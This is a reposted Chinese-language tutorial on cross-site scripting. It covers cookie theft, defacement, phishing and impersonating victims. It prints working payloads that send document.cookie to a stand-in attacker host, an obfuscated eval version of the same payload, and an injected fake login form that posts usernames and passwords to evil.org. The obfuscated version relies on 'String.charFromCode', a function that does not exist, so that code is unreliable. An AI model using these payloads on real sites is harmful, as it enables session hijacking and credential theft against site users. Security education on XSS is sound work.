跨站腳本攻擊深入解析:跨站危害及cookie盜竊(1) |
發(fā)布時(shí)間: 2012/9/14 18:25:46 |
跨站腳本的名稱源自于這樣一個(gè)事實(shí),即一個(gè)Web 站點(diǎn)(或者人)可以把他們的選擇的代碼越過安全邊界線注射到另一個(gè)不同的、有漏洞的Web 站點(diǎn)中。當(dāng)這些注入的代碼作為目標(biāo)站點(diǎn)的代碼在受害者的瀏覽器中執(zhí)行時(shí),攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強(qiáng)迫用戶做一些用戶非本意的事情。
在本文的上篇中,我們詳細(xì)介紹了跨站腳本漏洞利用的過程,并對HTML注入進(jìn)行深入分析;而本文將詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對跨站腳本攻擊的防御措施。 一、跨站腳本的危害 XSS是一種對Web應(yīng)用程序的用戶發(fā)動(dòng)的攻擊,利用它攻擊者能裝扮成被攻擊的用戶來完全控制Web應(yīng)用程序,即便Web應(yīng)用程序位于一個(gè)防火墻之后并且攻擊者無法直接接觸該Web應(yīng)用程序也是如此。XSS一般不會(huì)對用戶的機(jī)器造成損害,也不會(huì)對Web應(yīng)用程序服務(wù)器直接造成破壞。如果成功,攻擊者可以做三種事情: 竊取Cookie 在受害用戶面前假冒成Web應(yīng)用程序 在Web應(yīng)用程序面前假冒成受害用戶 二、竊取Cookie Cookie一般控制著對Web應(yīng)用程序的訪問,如果攻擊者偷竊了受害用戶的Cookie,那么攻擊者就可以使用受害者的Cookie來完全控制受害者的帳戶。對于Cookie來說,其最佳實(shí)踐就是讓它在一段時(shí)間后過期,這樣的話攻擊者就只能在有限的時(shí)間內(nèi)訪問受害者的帳戶。可以利用下面的代碼來竊取Cookie: var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c=' +document.cookie; 或者像下面這樣: document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+ "?c="+document.cookie+"'〉");
如果某些字符是禁止的,則將其轉(zhuǎn)換為ASCII的十進(jìn)制數(shù),然后使用JavaScript的String.charFromCode()函數(shù)即可。下列JavaScript等價(jià)于前面的JavaScript: eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109, 97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47, 97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47, 101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43, 100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); 三、釣魚攻擊 通過假冒Web應(yīng)用程序,攻擊者可以將XSS用于社會(huì)工程。XSS攻擊得手后,攻擊者能夠完全控制Web應(yīng)用程序的外觀。這可用于丑化web,例如攻擊者在頁面上放置一個(gè)無聊的圖片。適于打印的常見圖像之一是Stall0wn3d,即你被黑了。 下面是用于這種攻擊的HTML注入字符串: 〈script〉document.body.innerHTML="〈img src=http://evil.org/stallown3d.jpg〉";〈/script〉.
然而,控制Web應(yīng)用程序呈現(xiàn)在受害用戶面前的外觀比簡單顯示一些火辣熱圖更為有利,攻擊者可以以此發(fā)動(dòng)釣魚攻擊:強(qiáng)制用戶向攻擊者提供機(jī)密信息。利用document.body.innerHTML,可以提供一個(gè)跟有弱點(diǎn)的Web應(yīng)用程序的登錄頁面外觀完全一樣的登錄頁面,并且該登錄頁面來自那個(gè)被注入HTML的域,但是提交表單時(shí),數(shù)據(jù)卻發(fā)往攻擊者選擇的站點(diǎn)。 因此,當(dāng)受害用戶輸入他的或者她的用戶名和口令時(shí),這些信息就會(huì)落入攻擊者手中。代碼如下所示: document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form action=http://evil.org/grabPasswords method=get〉 〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password name=p〉〈input type=submit name=login〉〈/form〉"; 使用這段代碼的一個(gè)小技巧是通過一個(gè)GET請求發(fā)送表單。這樣,攻擊者甚至不必編寫grabPasswords頁面,因?yàn)樵撜埱髮懙絎eb服務(wù)器的錯(cuò)誤信息日志里,這里的信息可以輕松讀取。
四、冒充受害者胡作非為 XSS對Web應(yīng)用程序最大的影響在于,黑客能夠通過它假冒成Web應(yīng)用程序的合法用戶。下面是一些攻擊者能夠?qū)eb應(yīng)用程序做的一些事情: 以用戶的名義發(fā)送電子郵件 獲取用戶的聯(lián)系人名單 更改自動(dòng)BCC屬性 更改隱私/日志記錄設(shè)置 在基于 Web 的即時(shí)通訊或聊天軟件中,攻擊者可以: 獲取聯(lián)系人名單 向聯(lián)系人發(fā)送消息 添加/刪除聯(lián)系人 在一個(gè)基于 Web 的網(wǎng)絡(luò)銀行或金融系統(tǒng)中,攻擊者能夠: 劃拔資金 申請信用卡 更改地址 在電子商務(wù)系統(tǒng)上,攻擊者能夠: 購買商品 每當(dāng)分析XSS對站點(diǎn)的影響時(shí),想一想如果他控制了受害者的鼠標(biāo)和鍵盤能干什么就行了?紤]一下受害者的內(nèi)部網(wǎng)中的受害者的計(jì)算機(jī)能做哪些壞事。要想假冒成用戶,攻擊者需要弄清Web應(yīng)用程序是如何工作的。有時(shí)候,可以通過閱讀頁面源代碼來達(dá)此目的,但是最好的方法是使用一個(gè)Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。 這些web 代理會(huì)攔截往返于Web 瀏覽器和Web服務(wù)器之間的所有通信數(shù)據(jù),甚至包括通過HTTPS傳輸?shù)牧髁。您可以記錄這些會(huì)話以弄明白Web應(yīng)用程序是向服務(wù)器發(fā)送回?cái)?shù)據(jù)的。 這對于弄清楚如何假冒成該應(yīng)用程序非常有幫助,此外,web 代理對于發(fā)現(xiàn)XSS及其他Web應(yīng)用程序漏洞也有極大的幫助。 本文出自:億恩科技【1tcdy.com】 服務(wù)器租用/服務(wù)器托管中國五強(qiáng)!虛擬主機(jī)域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM] |